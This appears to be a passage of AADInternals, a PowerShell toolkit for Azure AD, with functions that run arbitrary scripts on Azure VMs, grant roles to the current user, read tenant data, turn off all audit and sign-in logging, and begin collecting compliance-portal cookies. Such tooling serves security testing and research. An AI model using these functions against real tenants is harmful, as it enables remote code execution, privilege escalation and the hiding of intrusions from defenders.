468 21 6516 31128 0.33 3140 2 svchost
173 9 4332 12968 0.72 3208 0 svchost
2061 0 192 156 11.45 4 0 System
340 17 3964 17324 0.13 3416 2 TabTip
413 24 13016 34008 0.25 4488 2 TabTip
103 7 1264 4756 0.00 3264 2 TabTip32
216 22 4864 14260 0.08 1272 2 taskhostw
446 24 17080 22096 0.39 2796 0 taskhostw
150 9 1664 8984 0.03 1196 0 VSSVC
946 45 62896 78976 13.22 2068 0 WaAppAgent
119 6 1504 5800 0.02 4152 0 WaSecAgentProv
646 41 45220 68180 85.78 2088 0 WindowsAzureGuestAgent
131 9 2252 8344 0.03 3868 0 WindowsAzureNetAgent
174 11 1548 6916 0.11 552 0 wininit
234 11 2588 11160 0.09 612 1 winlogon
266 12 2456 10120 0.08 3428 2 winlogon
178 10 2776 8368 0.02 4052 0 WmiPrvSE
[stderr]
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$SubscriptionId,
[Parameter(Mandatory=$True)]
[String]$ResourceGroup,
[Parameter(Mandatory=$True)]
[String]$Server,
[Parameter(Mandatory=$True)]
[String]$Script,
[ValidateSet("Windows","Linux")]
[String]$VMType="Windows"
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
"x-ms-command-name" = "Microsoft_Azure_Automation."
}
# Define the script type
if($VMType -eq "Windows")
{
$scriptType="Power"
}
# Create the body
$body = @{
"commandId" = "Run$($scriptType)ShellScript"
"script" = @($Script)
}
# Invoke the command
$response = Invoke-WebRequest -UseBasicParsing -Method Post -Uri "https://management.azure.com/subscriptions/$SubscriptionId/resourceGroups/$ResourceGroup/providers/Microsoft.Compute/virtualMachines/$Server/runCommand?api-version=2018-04-01" -Headers $headers -Body ($body | ConvertTo-Json) -ContentType "application/json; charset=utf-8"
# Get the async operation url
$async = $response.Headers["Azure-AsyncOperation"]
Write-Verbose "Azure-AsyncOperation: $async"
while($status = Invoke-RestMethod -UseBasicParsing -Uri $async -Headers $headers)
{
if($status.status -eq "InProgress")
{
# Still pending, wait for two seconds
Start-Sleep -Seconds 5
}
else
{
if($status.status -eq "Succeeded")
{
# Script was executed successfully - but we don't know the actual result
$value = $status.properties.output.value
# Loop through the output streams
foreach($output in $value)
{
if($output.code.Contains("StdOut"))
{
Write-Host "[stdout]"
Write-Host $output.message
}
elseif($output.code.Contains("StdErr"))
{
Write-Host "`n[stderr]"
Write-Host $output.message
}
else
{
Write-Host $output.message
}
}
}
else
{
Write-Error "The script failed"
}
break
}
}
}
}
# Runs a given script on the given Azure VM
# Jun 3rd 2020
function Get-AzureVMRdpSettings
{
<#
.SYNOPSIS
Gets RDPSettings of the given Azure VM
.DESCRIPTION
Gets RDPSettings of the given Azure VM
.Example
Get-AADIntAzureVMRdpSettings -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -ResourceGroup PRODUCTION -Server Server2
Not domain joined
HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp\PortNumber: 3389
HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\fDenyTSConnections:
HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\KeepAliveEnable: 1
HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\KeepAliveInterval: 1
HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\KeepAliveTimeout: 1
HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\fDisableAutoReconnect: 0
HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp\fInheritReconnectSame: 1
HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp\fReconnectSame: 0
HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp\fInheritMaxSessionTime: 1
HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp\fInheritMaxDisconnectionTime: 1
HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp\MaxDisconnectionTime: 0
HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp\MaxConnectionTime: 0
HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp\fInheritMaxIdleTime: 1
HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp\MaxIdleTime: 0
HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\Winstations\RDP-Tcp\MaxInstanceCount: 4294967295
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$SubscriptionId,
[Parameter(Mandatory=$True)]
[String]$ResourceGroup,
[Parameter(Mandatory=$True)]
[String]$Server
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
"Content-Type" = "application/json"
"x-ms-command-name" = "Microsoft_Azure_Automation."
}
# Create the body
$body="{""commandId"":""RDPSettings""}"
# Invoke the command
$response = Invoke-WebRequest -UseBasicParsing -Method Post -Uri "https://management.azure.com/subscriptions/$SubscriptionId/resourceGroups/$ResourceGroup/providers/Microsoft.Compute/virtualMachines/$Server/runCommand?api-version=2018-04-01" -Headers $headers -Body $body
# Get the async operation url
$async = $response.Headers["Azure-AsyncOperation"]
Write-Verbose "Azure-AsyncOperation: $async"
while($status = Invoke-RestMethod -UseBasicParsing -Uri $async -Headers $headers)
{
if($status.status -eq "InProgress")
{
# Still pending, wait for two seconds
Start-Sleep -Seconds 5
}
else
{
if($status.status -eq "Succeeded")
{
# Script was executed successfully - but we don't the actual result
$value = $status.properties.output.value
# Loop through the output streams
foreach($output in $value)
{
if($output.code.Contains("StdOut"))
{
Write-Host $output.message
}
elseif($output.code.Contains("StdErr") -and -not [string]::IsNullOrEmpty($output.message))
{
Write-Error $output.message
}
}
}
else
{
Write-Error "The script failed"
}
break
}
}
}
}
# Gets Azure Role Assignment ID for the given name
# Jun 3rd 2020
function Get-AzureRoleAssignmentId
{
<#
.SYNOPSIS
Gets Azure Role Assignment ID for the given role name
.DESCRIPTION
Gets Azure Role Assignment ID for the given role name
.Example
Get-AADIntAzureRoleAssignmentId -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -RoleName "Virtual Machine Contributor"
9980e02c-c2be-4d73-94e8-173b1dc7cf3c
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$SubscriptionId,
[Parameter(Mandatory=$True)]
[String]$RoleName
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
}
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://management.azure.com/subscriptions/$SubscriptionId/providers/Microsoft.Authorization/roleDefinitions?`$filter=roleName eq '$RoleName'&api-version=2018-01-01-preview" -Headers $headers
# Return the ID
$response.value[0].name
}
}
# Assigns a role to a given user
# Jun 3rd 2020
function Set-AzureRoleAssignment
{
<#
.SYNOPSIS
Assigns a role to a given user
.DESCRIPTION
Assigns a role to a given user
.Example
Set-AADIntAzureRoleAssignment -AccessToken $at -SubscriptionId 867ae413-0ad0-49bf-b4e4-6eb2db1c12a0 -Role Name "Virtual Machine Contributor"
roleDefinitionId : /subscriptions/867ae413-0ad0-49bf-b4e4-6eb2db1c12a0/providers/Microsoft.Authorization/roleDefinitions/9980e02c-c2be-4d73-94e8-173b1dc7cf3c
principalId : 90f9ca62-2238-455b-bb15-de695d689c12
principalType : User
scope : /subscriptions/867ae413-0ad0-49bf-b4e4-6eb2db1c12a0
createdOn : 2020-06-03T11:29:58.1683714Z
updatedOn : 2020-06-03T11:29:58.1683714Z
createdBy :
updatedBy : 90f9ca62-2238-455b-bb15-de695d689c12
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$SubscriptionId,
[Parameter(Mandatory=$False)]
[String]$UserName,
[Parameter(Mandatory=$True)]
[String]$RoleName
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
"Content-Type" = "application/json"
}
# Get the role id
$roleId=Get-AzureRoleAssignmentId -AccessToken $AccessToken -SubscriptionId $SubscriptionId -RoleName $RoleName
# If user name is not given, use the id from the Access Token
if([string]::IsNullOrEmpty($UserName))
{
$userId = (Read-AccessToken -AccessToken $AccessToken).oid
}
else
{
# TODO: get the id
Throw "Not implemented yet. Only current user is supported."
}
# Create the body
$body=@"
{
"properties": {
"roleDefinitionId": "/subscriptions/$SubscriptionId/providers/Microsoft.Authorization/roleDefinitions/$roleId",
"principalId": "$userId",
"canDelegate": false
}
}
"@
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method Put -Uri "https://management.azure.com/subscriptions/$SubscriptionId/providers/Microsoft.Authorization/roleAssignments/$(New-Guid)?api-version=2018-09-01-preview" -Headers $headers -Body $body
# Return the results
$response.properties
}
}
# Lists azure tenants of the logged in user
# Jun 10th 2020
function Get-AzureTenants
{
<#
.SYNOPSIS
Lists all Azure AD tenants the user has access to.
.DESCRIPTION
Lists all Azure AD tenants the user has access to.
.Example
$at=Get-AADIntAccessTokenForAzureCoreManagement
PS C:\>Get-AADIntAzureTenants -AccessToken $at
Id Country Name Domains
-- ------- ---- -------
221769d7-0747-467c-a5c1-e387a232c58c FI Firma Oy {firma.mail.onmicrosoft.com, firma.onmicrosoft.com, firma.fi}
6e3846ee-e8ca-4609-a3ab-f405cfbd02cd US Company Ltd {company.onmicrosoft.com, company.mail.onmicrosoft.com,company.com}
.Example
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
Tenant User Resource Client
------ ---- -------- ------
6e3846ee-e8ca-4609-a3ab-f405cfbd02cd https://management.core.windows.net/ d3590ed6-52b3-4102-aeff-aad2292ab01c
PS C:\>Get-AADIntAzureTenants
Id Country Name Domains
-- ------- ---- -------
221769d7-0747-467c-a5c1-e387a232c58c FI Firma Oy {firma.mail.onmicrosoft.com, firma.onmicrosoft.com, firma.fi}
6e3846ee-e8ca-4609-a3ab-f405cfbd02cd US Company Ltd {company.onmicrosoft.com, company.mail.onmicrosoft.com,company.com}
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
}
# Invoke the command.
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://management.azure.com/tenants?api-version=2020-01-01&`$includeAllTenantCategories=true" -Headers $headers
# Return
foreach($value in $response.value)
{
$attributes=[ordered]@{
"Id" = $value.tenantId
#"Type" = $value.tenantCategory # All are "Home"
"Country" = $value.countryCode
"Name" = $value.displayName
"Domains" = $value.domains
}
New-Object psobject -Property $attributes
}
}
}
# Invokes an Azure query
# Jan 22nd 2021
function Invoke-AzureQuery
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Query,
[Parameter(Mandatory=$True)]
[GUID]$SubscriptionId
)
Process
{
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
"Content-type" = "application/json"
}
$body=@"
{
"requests": [{
"content": {
"subscriptions": ["$($SubscriptionId.toString())"],
"query": "$Query"
},
"httpMethod": "POST",
"name": "$((New-Guid).toString())",
"requestHeaderDetails": {
"commandName": "Microsoft_Azure_Security_Insights."
},
"url": "https://management.azure.com/providers/Microsoft.ResourceGraph/resources?api-version=2019-04-01"
}
]
}
"@
# Invoke the command.
$response = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://management.azure.com/batch?api-version=2015-11-01" -Headers $headers -Body $body
return $response
}
}
# Show diagnostic settings
# Jan 22nd 2021
function Get-AzureDiagnosticSettingsDetails
{
<#
.SYNOPSIS
Gets log settings of the given Azure workspace.
.DESCRIPTION
Gets log settings of the given Azure workspace.
.Parameter AccessToken
AccessToken of the user. Must be Global Administrator or Security Administrator.
.Parameter Name
Name of the Sentinel workspace.
.Example
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
PS C:\>Get-AADIntDiagnosticSettingsDetails -Name "Audit and SignIn to Sentinel"
Log Enabled Retention Enabled Retention Days
--- ------- ----------------- --------------
ProvisioningLogs False False 0
AuditLogs True True 365
SignInLogs True True 365
NonInteractiveUserSignInLogs False False 0
ServicePrincipalSignInLogs False False 0
ManagedIdentitySignInLogs True True 365
ADFSSignInLogs False False 365
.Example
$at=Get-AADIntAccessTokenForAzureCoreManagement
PS C:\>Get-AADIntAzureDiagnosticSettings
Name : Audit and SignIn to Sentinel
WorkspaceId : /subscriptions/a04293e7-46c8-4bf4-bc6d-1bc1f41afae0/resourcegroups/sentinel/providers/microsoft.operationalinsights/workspaces/MySentinel
StorageAccountId :
EventHubAuthorizationRuleId :
EventHubName :
ServiceBusRuleId :
Name : Service Principal to Sentinel
WorkspaceId : /subscriptions/a04293e7-46c8-4bf4-bc6d-1bc1f41afae0/resourcegroups/sentinel/providers/microsoft.operationalinsights/workspaces/MySentinel
StorageAccountId :
EventHubAuthorizationRuleId :
EventHubName :
ServiceBusRuleId :
PS C:\>Get-AADIntDiagnosticSettingsDetails -Name "Audit and SignIn to Sentinel"
Log Enabled Retention Enabled Retention Days
--- ------- ----------------- --------------
ProvisioningLogs False False 0
AuditLogs True True 365
SignInLogs True True 365
NonInteractiveUserSignInLogs False False 0
ServicePrincipalSignInLogs False False 0
ManagedIdentitySignInLogs True True 365
ADFSSignInLogs False False 0
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Name
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
"Content-type" = "application/json"
}
# Invoke the command.
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://management.azure.com/providers/microsoft.aadiam/diagnosticSettings/$Name`?api-version=2017-04-01" -Headers $headers
# Return
foreach($value in $response.properties.logs)
{
$attributes=[ordered]@{
"Log" = $value.category
"Enabled" = $value.enabled
"Retention Enabled" = $value.retentionPolicy.enabled
"Retention Days" = $value.retentionPolicy.days
}
New-Object psobject -Property $attributes
}
}
}
# Set diagnostic settings
# Jan 22nd 2021
function Set-AzureDiagnosticSettingsDetails
{
<#
.SYNOPSIS
Sets log settings for the given Azure Workspace.
.DESCRIPTION
Sets log settings for the given Azure Workspace.
.Parameter AccessToken
AccessToken of the user. Must be Global Administrator or Security Administrator.
.Parameter Name
Name of the Sentinel workspace.
.Parameter Logs
List of logs to be edited, can be one or more of "AuditLogs","SignInLogs","NonInteractiveUserSignInLogs","ServicePrincipalSignInLogs","ManagedIdentitySignInLogs","ProvisioningLogs","ADFSSignInLogs","RiskyUsers","UserRiskEvents".
.Parameter Enabled
Is the log enabled.
.Parameter RetentionEnabled
Is the log retention enabled.
.Parameter RetentionDays
The number of retention days. Must be between 0 and 365 days.
.Example
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
PS C:\>Set-AADIntDiagnosticSettingsDetails -Name "Audit and SignIn to Sentinel" -Log ManagedIdentitySignInLogs,AuditLogs,SignInLogs -Enabled $true -RetentionEnabled $true -RetentionDays 365
Log Enabled Retention Enabled Retention Days
--- ------- ----------------- --------------
ProvisioningLogs False False 0
AuditLogs True True 365
SignInLogs True True 365
NonInteractiveUserSignInLogs False False 0
ServicePrincipalSignInLogs False False 0
ManagedIdentitySignInLogs True True 365
ADFSSignInLogs False False 0
RiskyUsers False False 0
UserRiskEvents False False 0
.Example
$at=Get-AADIntAccessTokenForAzureCoreManagement
PS C:\>Get-AADIntAzureDiagnosticSettings
Name : Audit and SignIn to Sentinel
WorkspaceId : /subscriptions/a04293e7-46c8-4bf4-bc6d-1bc1f41afae0/resourcegroups/sentinel/providers/microsoft.operationalinsights/workspaces/MySentinel
StorageAccountId :
EventHubAuthorizationRuleId :
EventHubName :
ServiceBusRuleId :
Name : Service Principal to Sentinel
WorkspaceId : /subscriptions/a04293e7-46c8-4bf4-bc6d-1bc1f41afae0/resourcegroups/sentinel/providers/microsoft.operationalinsights/workspaces/MySentinel
StorageAccountId :
EventHubAuthorizationRuleId :
EventHubName :
ServiceBusRuleId :
PS C:\>Set-AADIntDiagnosticSettingsDetails -Name "Audit and SignIn to Sentinel" -Log ManagedIdentitySignInLogs,AuditLogs,SignInLogs -Enabled $true -RetentionEnabled $true -RetentionDays 365
Log Enabled Retention Enabled Retention Days
--- ------- ----------------- --------------
ProvisioningLogs False False 0
AuditLogs True True 365
SignInLogs True True 365
NonInteractiveUserSignInLogs False False 0
ServicePrincipalSignInLogs False False 0
ManagedIdentitySignInLogs True True 365
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[ValidateSet("AuditLogs","SignInLogs","NonInteractiveUserSignInLogs","ServicePrincipalSignInLogs","ManagedIdentitySignInLogs","ProvisioningLogs","ADFSSignInLogs","RiskyUsers","UserRiskEvents")]
[String[]]$Logs,
[Parameter(Mandatory=$True)]
[String]$Name,
[Parameter(Mandatory=$True)]
[bool]$Enabled,
[Parameter(Mandatory=$True)]
[bool]$RetentionEnabled,
[Parameter(Mandatory=$True)]
[int]$RetentionDays
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Check the retention days value
if($RetentionDays -lt 0 -or $RetentionDays -gt 365)
{
Write-Error "Retention days must be between 0 and 365 days"
return
}
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
"Content-type" = "application/json"
}
# Get the current settings and workspaceid
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://management.azure.com/providers/microsoft.aadiam/diagnosticSettings/$Name`?api-version=2017-04-01" -Headers $headers
$workspaceId = $response.properties.workspaceId
# Create the array for log settings objects
$log_array = @()
foreach($value in $response.properties.logs)
{
# Check if this log is to be changed
if($logs -contains $value.category)
{
$log_entry = @{
"category" = $value.category
"enabled" = $Enabled
"retentionPolicy" = @{
"days" = $RetentionDays
"enabled" = $RetentionEnabled
}
}
}
else
{
$log_entry = @{
"category" = $value.category
"enabled" = $value.enabled
"retentionPolicy" = @{
"days" = $value.retentionPolicy.days
"enabled" = $value.retentionPolicy.enabled
}
}
}
$log_array += $log_entry
}
# Create the body
$body = @{
"id" = "/providers/microsoft.aadiam/diagnosticSettings/$Name"
"name" = $Name
"properties" = @{
"logs" = $log_array
"metrics" = @()
"workspaceId" = $WorkspaceId
}
}
# Invoke the command.
$response = Invoke-RestMethod -UseBasicParsing -Method Put -Uri "https://management.azure.com/providers/microsoft.aadiam/diagnosticSettings/$Name`?api-version=2017-04-01" -Headers $headers -Body ($body | ConvertTo-Json -Depth 5)
# Return
foreach($value in $response.properties.logs)
{
$attributes=[ordered]@{
"Log" = $value.category
"Enabled" = $value.enabled
"Retention Enabled" = $value.retentionPolicy.enabled
"Retention Days" = $value.retentionPolicy.days
}
New-Object psobject -Property $attributes
}
}
}
# List diagnostic settings
# Jan 22nd 2021
function Get-AzureDiagnosticSettings
{
<#
.SYNOPSIS
Lists all diagnostic settings.
.DESCRIPTION
Lists all diagnostic settings.
.Parameter AccessToken
AccessToken of the user. Must be Global Administrator or Security Administrator.
.Example
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
PS C:\>Get-AADIntAzureDiagnosticSettings
Name : Audit and SignIn to Sentinel
WorkspaceId : /subscriptions/a04293e7-46c8-4bf4-bc6d-1bc1f41afae0/resourcegroups/sentinel/providers/microsoft.operationalinsights/workspaces/MySentinel
StorageAccountId :
EventHubAuthorizationRuleId :
EventHubName :
ServiceBusRuleId :
Name : Service Principal to Sentinel
WorkspaceId : /subscriptions/a04293e7-46c8-4bf4-bc6d-1bc1f41afae0/resourcegroups/sentinel/providers/microsoft.operationalinsights/workspaces/MySentinel
StorageAccountId :
EventHubAuthorizationRuleId :
EventHubName :
ServiceBusRuleId :
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers=@{
"Authorization" = "Bearer $AccessToken"
"Content-type" = "application/json"
"x-ms-command-name" = "Microsoft_Azure_Monitoring"
"x-ms-path-query" = "/providers/microsoft.aadiam/diagnosticSettings?api-version=2017-04-01-preview"
}
$response = Invoke-RestMethod -UseBasicParsing -Method Get -Uri "https://management.azure.com/api/invoke" -Headers $headers
# Return
foreach($value in $response.value)
{
$attributes=[ordered]@{
"Name" = $value.name
"WorkspaceId" = $value.properties.workspaceId
"StorageAccountId" = $value.properties.storageAccountId
"EventHubAuthorizationRuleId" = $value.properties.eventHubAuthorizationRuleId
"EventHubName" = $value.properties.eventHubName
"ServiceBusRuleId" = $value.properties.serviceBusRuleId
}
New-Object psobject -Property $attributes
}
}
}
# Remove all diagnostic settings
# Jan 23rd 2021
function Remove-AzureDiagnosticSettings
{
<#
.SYNOPSIS
Removes all diagnostic settings.
.DESCRIPTION
Removes all diagnostic settings by disabling all logs.
.Parameter AccessToken
AccessToken of the user. Must be Global Administrator or Security Administrator.
.Example
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
PS C:\>Remove-AADIntAzureDiagnosticSettings
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[Switch]$Force
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Get the list of diagnostic settings
$diagSettings = Get-AzureDiagnosticSettings -AccessToken $AccessToken
$count = $diagSettings.count
if(!$count)
{
$count = 1
}
if(!$Force)
{
$answer = Read-Host -Prompt "About to delete $count diagnostic settings. Are you sure? (Y/N)"
if($answer -ne "Y")
{
return
}
}
foreach($settings in $diagSettings)
{
Write-Verbose "Removing diagnostic settings ""$($settings.name)"""
Set-AzureDiagnosticSettingsDetails -AccessToken $AccessToken -Name $($settings.name) -Logs "AuditLogs","SignInLogs","NonInteractiveUserSignInLogs","ServicePrincipalSignInLogs","ManagedIdentitySignInLogs","ProvisioningLogs","ADFSSignInLogs","RiskyUsers","UserRiskEvents" -Enabled $False -RetentionEnabled $False -RetentionDays 0 | Out-Null
}
}
}
# Get Azure Directory Activity Log
# Aug 8th 2021
function Get-AzureDirectoryActivityLog
{
<#
.SYNOPSIS
Gets Azure Directory Activity log events.
.DESCRIPTION
Gets Azure Directory Activity log events even from tenants without Azure subscription.
.Parameter AccessToken
AccessToken of the user. Should be Global Administrator with access to any Azure subscription of the tenant.
If the tenant doesn't have Azure subscription, the user must have "Access management for Azure resources"
switched on at https://portal.azure.com/#blade/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/Properties or use
Grant-AADIntAzureUserAccessAdminRole
.Parameter Start
Start time, must be 90 days of less of the current time. Defaults to one day.
Get-AADIntAccessTokenForAzureCoreManagement -SaveToCache
PS C:\>Grant-AADIntAzureUserAccessAdminRole
PS C:\>$events = Get-AADIntAzureDirectoryActivityLog -Start (Get-Date).AddDays(-31)
PS C:\>$events | where {$_.authorization.action -like "Microsoft.ADHybrid*"} | %{New-Object psobject -Property ([ordered]@{"Scope"=$_.authorization.scope;"Operation"=$_.operationName.localizedValue;"Caller"=$_.caller;"TimeStamp"=$_.eventTimeStamp})}
Scope Operation Caller
----- --------- ------
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com Creates a server. administrator...
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com Creates a server. administrator...
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com Creates a server. administrator...
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com Creates a server. administrator...
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com Creates a server. administrator...
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com Creates a server. administrator...
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com Creates a server. administrator...
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com Creates a server. administrator...
/providers/Microsoft.ADHybridHealthService Updates a service. administrator...
/providers/Microsoft.ADHybridHealthService Updates a service. administrator...
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com Deletes service. administrator...
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com Deletes service. administrator...
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com Deletes service. administrator...
/providers/Microsoft.ADHybridHealthService/services/AdFederationService-sts.company.com Deletes service. administrator...
/providers/Microsoft.ADHybridHealthService Updates a service. administrator...
/providers/Microsoft.ADHybridHealthService Updates a service. administrator...
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[DateTime]$Start=(Get-Date).AddDays(-1)
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://management.core.windows.net/" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
$headers = @{
"Authorization" = "Bearer $AccessToken"
}
$startTime = $Start.ToUniversalTime().ToString("s", [cultureinfo]::InvariantCulture)+"Z"
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://management.azure.com/providers/microsoft.insights/eventtypes/management/values?api-version=2015-04-01&`$filter=eventTimestamp ge '$startTime'" -Headers $headers
while($response.nextLink)
{
$response.value
$response = Invoke-RestMethod -Uri $response.nextLink -Headers $headers
}
$response.value
}
}
|
ComplianceAPI.ps1 | AADInternals-0.9.4 | # This file contains functions for Compliance API
# Aug 31st 2021
# Gets cookies used with compliance API functions
function Get-ComplianceAPICookies
{
<#
.SYNOPSIS
Gets cookies used with compliance API functions
.DESCRIPTION
Gets cookies used with compliance API functions.
Note: Uses interactive login form so AAD Joined or Registered computers may login automatically. If this happens, start PowerShell as another user and try again.
.Example
PS C:\>$cookies = Get-AADIntComplianceAPICookies
PS C:\>Search-AADIntUnifiedAuditLog -Cookies $cookies -Verbose -Start (get-date).AddDays(-90) | Set-Content auditlog.json
.Example
PS C:\>$cookies = Get-AADIntComplianceAPICookies
PS C:\>Search-AADIntUnifiedAuditLog -Cookies $cookies -Verbose -Start (get-date).AddDays(-90) | ConvertTo-Csv | Set-Content auditlog.csv
#>
[cmdletbinding()]
Param()
Process
{
Write-Warning "Get-AADIntComplianceAPICookies function doesn't work right with SSO. If credentials are not prompted, start PowerShell as another user and try again."
$url = "https://compliance.microsoft.com"
# Get the first set of cookies
$response = Invoke-WebRequest -Uri $url -SessionVariable "WebSession" -Method get -MaximumRedirection 0
$url = $response.Headers["location"]
$form = Create-LoginForm -Url $url -auth_redirect "https://login.microsoftonline.com/kmsi"
# Show the form and wait for the return value
if($form.ShowDialog() -ne "OK") {
# Dispose the control
$form.Dispose()
Write-Verbose "Login cancelled"
return $null
}
# Parse the hidden form to get the parameters
$hiddenForm = $form.controls[0].document.DomDocument.forms[0]
$redirect = $hiddenForm.action
$body=@{}
foreach($element in $hiddenForm.elements)
{
if($element.Type -eq "hidden")
{
$body[$element.Name] = $element.Value
}
}
# Increase the cookie maximum size and get the second set of cookies.
$websession.Cookies.MaxCookieSize=65536
$response = Invoke-WebRequest -UseBasicParsing -Uri $redirect -body $body -WebSession $WebSession -Method post -MaximumRedirection 1 -ErrorAction SilentlyContinue
# If redirect to MCAS before the previous step, we need to make an extra request
if($redirect.EndsWith(".mcas.ms/aad_login"))
{
Write-Verbose "Handling MCAS response from $redirect"
$body=@{}
# Parse the form from the response
$htmlResponse = $response.Content
$s = $htmlResponse.IndexOf("<form")
if($s -lt 0)
{
Write-Warning "Error handling MCAS redirect"
}
else
{
$e = $htmlResponse.IndexOf("</form>",$s)
[xml]$xmlForm = $response.Content.Substring($s, $e-$s+7)
foreach($element in $xmlForm.GetElementsByTagName("input"))
{
if($element.Type -eq "hidden")
{
$body[$element.name] = $element.value
}
}
